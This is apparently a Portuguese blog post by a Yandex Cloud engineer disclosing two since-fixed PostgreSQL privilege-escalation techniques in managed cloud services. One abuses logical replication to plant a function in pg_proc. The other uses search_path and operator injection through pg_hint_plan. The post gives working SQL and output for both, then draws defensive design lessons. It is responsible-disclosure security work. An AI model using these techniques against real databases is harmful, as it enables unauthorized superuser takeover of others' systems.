Meu nome é Evgeny Efimkin, e lidero o grupo de Confiabilidade de Plataforma na Yandex Cloud. Entre outras responsabilidades, cuidamos da segurança de nossos serviços gerenciados. No nosso serviço gerenciado de PostgreSQL, não concedemos aos clientes privilégios de superuser. Fazer isso permitiria que eles saíssem dos limites de seu banco de dados e acessassem diretamente o sistema operacional. Para permitir que os clientes realizem operações privilegiadas, como criar bancos de dados, configurar roles e modificar configurações do cluster, desenvolvemos os serviços de Control Plane e concedemos roles especiais com permissões limitadas (sem acesso ao SO e sem contornar verificações de permissão).
Há alguns anos, enquanto trabalhava no suporte à replicação lógica, percebi que mesmo isso não era suficiente: o PostgreSQL ainda possuía pontos onde ele mesmo, internamente, executava código como superuser, contornando toda a estrutura de controle. A seguir, apresento dois casos de escalonamento de privilégios em dois provedores de nuvem pública diferentes. Ambos os vetores foram corrigidos no momento da publicação – tanto no upstream do PostgreSQL quanto nos próprios serviços; ambos os provedores foram devidamente informados.
Como obter superuser através da replicação lógica
A história remonta aos tempos do PostgreSQL 10. Para dar suporte à replicação lógica, precisávamos permitir que um usuário não privilegiado criasse SUBSCRIPTION. A tarefa foi resolvida com um pequeno patch para nossa role interna mdb_admin (aquela que concedemos ao cliente em vez de superuser). Enquanto escrevia este patch, precisei entender como a replicação lógica funcionava internamente. E lá descobri um detalhe crucial: o processo em segundo plano que aplica as linhas do WAL opera com privilégios de superuser – ou seja, contornando as verificações de permissão em princípio.
Teoria: Como funciona a replicação lógica
A replicação lógica no PostgreSQL é construída em um modelo de publisher-subscriber: uma Publication no lado da origem define o conjunto de tabelas cujas alterações são publicadas no WAL em formato lógico. Uma Subscription no lado do receptor se conecta à publication e aplica as alterações recebidas. A aplicação ocorre em um processo em segundo plano, o logical replication worker, que opera em nome do superusuário. O criador da assinatura é um usuário comum. As alterações são aplicadas em seu nome por um processo com privilégios de superuser. É nesse hiato que reside a possibilidade de escalonamento.
Exploração
A ideia é simples: se pudermos forçar a subscription a aplicar alterações nas tabelas do sistema, obteremos superuser. Como fonte, configurei um PostgreSQL em minha máquina virtual e tentei adicionar uma tabela do catálogo do sistema à publication. O PostgreSQL não permite isso, mas a restrição pode ser contornada com o parâmetro allow_system_table_mods = true – após o qual é possível inserir manualmente qualquer tabela em pg_publication_rel. Decidi usar pg_proc (o catálogo de funções).
Em seguida, o teste em uma nuvem alheia. Sem superuser, um cliente comum não pode criar SUBSCRIPTION, mas isso não é necessário: a maioria dos provedores gerenciados suporta replicação lógica da mesma forma que nós – através de sua role privilegiada, um análogo de mdb_admin. O Provedor A possuía tal role. Crio a assinatura:
sqlCREATE SUBSCRIPTION mysub_super CONNECTION 'host=myhost port=5432 dbname=postgres user=postgres' PUBLICATION pub WITH (copy_data = false);
O parâmetro copy_data = false é necessário para evitar conflitos de linhas entre os dois clusters – queremos replicar apenas as novas alterações. Após isso, no lado do nosso cluster (publisher), criamos uma função:
sqlCREATE OR REPLACE FUNCTION update_pass() RETURNS text AS $$ UPDATE pg_catalog.pg_authid SET rolsuper = true; SELECT 'hacked'; $$ LANGUAGE SQL SECURITY DEFINER;
Esta função é replicada para pg_proc no lado do serviço de nuvem. Verificamos:
sqlpostgres=# SELECT update_pass(); update_pass ------------- hacked (1 row) postgres=# SELECT usename, usesuper FROM pg_user WHERE usename = 'user1'; usename | usesuper ---------+---------- user1 | t (1 row)
superuser obtido.
O que fechou este vetor
No PostgreSQL 16, o modelo de operação da replicação lógica foi reescrito: o logical replication worker agora aplica alterações em nome do proprietário da assinatura, e não do superuser.
Como obter superuser através de search_path e operator injection
O primeiro caso trata de um componente do sistema, o logical replication worker. Mas o mesmo padrão aparece em lugares muito menos esperados. Anos depois, visitei um provedor recém-lançado. Entre as operações disponíveis estavam a criação de usuários, bancos de dados e a instalação de extensões. Configurações globais do cluster não podiam ser alteradas. Abasteci minha conta, criei um cluster – dentro dele, um PostgreSQL 17 puro sem roles embutidas. Mas, como proprietário do banco de dados, eu tinha o direito de alterar seus parâmetros – e isso já era uma brecha.
Teoria: O que é search_path e por que é perigoso
search_path é um parâmetro do PostgreSQL que define a ordem de busca de esquemas ao acessar objetos sem especificar explicitamente o esquema. Por padrão, é "$user", public. Quando você escreve SELECT * FROM my_table, o PostgreSQL procura a tabela primeiro no esquema com o nome do usuário atual e depois em public. Isso cria um vetor de ataque clássico: se um invasor puder colocar seus objetos (tabelas, funções, operadores) em um esquema que esteja no search_path antes de pg_catalog, então, em chamadas não qualificadas, o PostgreSQL encontrará o objeto substituído em vez do original.
Reconhecimento
O parâmetro mais interessante do banco de dados é justamente o search_path. Eu o redefini e tentei criar uma extensão através da API do provedor. A extensão foi criada sem problemas – dentro do meu esquema. Este é um problema sério: a API instala a extensão em nome de um usuário privilegiado, mas com o search_path que o cliente definiu. É por isso que ela acabou no meu esquema. Restava entender como explorar isso. Naquele momento, não havia logs, e pg_stat_activity e pg_stat_statements sem uma role especial ocultam a atividade de outros usuários. Ou seja, era impossível ver diretamente quais consultas o Control Plane executava em seu próprio nome. A única pista eram as extensões que ele instalava para mim.
Na lista de extensões estavam pg_partman e pg_hint_plan. pg_partman foi limpo de SECURITY DEFINER e outros locais perigosos nos últimos anos – descartado. Restou pg_hint_plan.
Teoria: operator injection
No PostgreSQL, operadores (=, <, >, etc.) são objetos de banco de dados comuns pertencentes a um esquema. Quando você escreve a = b, o PostgreSQL procura um = adequado para os tipos de argumento através do search_path – exatamente da mesma forma que procura funções e tabelas. Se pudermos colocar nosso = em um esquema que esteja no search_path antes de pg_catalog, o PostgreSQL chamará nossa função em vez da comparação embutida.
pg_hint_plan e operator injection
Passei a analisar pg_hint_plan – uma extensão que permite usar hints em consultas para substituir métodos de acesso (semelhante aos hints do Oracle). Após habilitar a extensão em pg_stat_statements, vi que uma consulta foi executada implicitamente do meu usuário:
sqlSELECT hints FROM hint_plan.hints WHERE query_id = $1 AND (application_name = $2 OR application_name = $3) ORDER BY application_name DESC
Presumi que essa mesma consulta poderia ser executada pelo superusuário quando ele faz consultas ao banco de dados com pg_hint_plan ativo. Observe: na consulta query_id = $1, o operador = é usado sem especificar o esquema. Este é o ponto chave.
Exploração
Para testar a hipótese, criei um novo banco de dados vazio e, dentro dele, um esquema:
sqlCREATE SCHEMA hint_plan;
Uma função que aumenta privilégios:
sqlCREATE OR REPLACE FUNCTION hint_plan.evil_eq(bigint, bigint) RETURNS boolean AS $$ BEGIN ALTER USER test WITH SUPERUSER; return true; END; $$ LANGUAGE plpgsql;
Redefinimos o operador de comparação para bigint:
sqlCREATE OPERATOR hint_plan.= ( LEFTARG = bigint, RIGHTARG = bigint, FUNCTION = hint_plan.evil_eq );
Redefinimos o search_path necessário no nível do nosso banco de dados:
sqlALTER DATABASE test SET search_path = hint_plan, pg_catalog;
Criamos outra extensão arbitrária através da API – isso forçará o usuário privilegiado a executar uma consulta a hint_plan.hints, na qual nosso = será acionado. Resultado:
sqlSELECT rolname, rolsuper FROM pg_roles WHERE rolname = 'test'; rolname | rolsuper ---------+---------- test | t (1 row)
superuser obtido através de operator injection.
O que fechou este vetor
Com base nesses experimentos, meu colega fez um patch no pg_hint_plan – as consultas internas da extensão agora qualificam explicitamente operadores e funções através de pg_catalog. O patch foi aceito no upstream. Também informamos o próprio provedor sobre o problema.
O que é importante ter em mente ao projetar bancos de dados gerenciados
Ambos os casos acima são o mesmo bug visto de diferentes ângulos. O superuser no PostgreSQL gerenciado não pertence ao usuário e não deve pertencer. Mas ele pertence a componentes do sistema que fazem algo em nome do usuário: o logical replication worker aplica linhas que o usuário adicionou à publicação, usando uma role privilegiada; o Control Plane, usando uma role privilegiada, cria uma extensão em um esquema que o usuário forneceu através do search_path. A segurança de um serviço gerenciado é, essencialmente, uma disciplina: listar tais componentes e garantir que o usuário não possa fornecer a eles algo que quebre seus invariantes.
As falhas específicas de ambos os casos foram corrigidas – tanto no upstream do PostgreSQL quanto nos provedores. O padrão não é fechado por nada: a pergunta correta na revisão da arquitetura de um serviço gerenciado não é "o cliente pode fazer X?", mas sim "quem faz X para o cliente, e o que o cliente pode fornecer a ele como entrada?"
Ficarei feliz em responder a perguntas e discutir seus experimentos com PostgreSQL. Compartilhe nos comentários, e também junte-se à comunidade da plataforma de dados Yandex Cloud, onde compartilhamos notícias e discutimos questões técnicas.
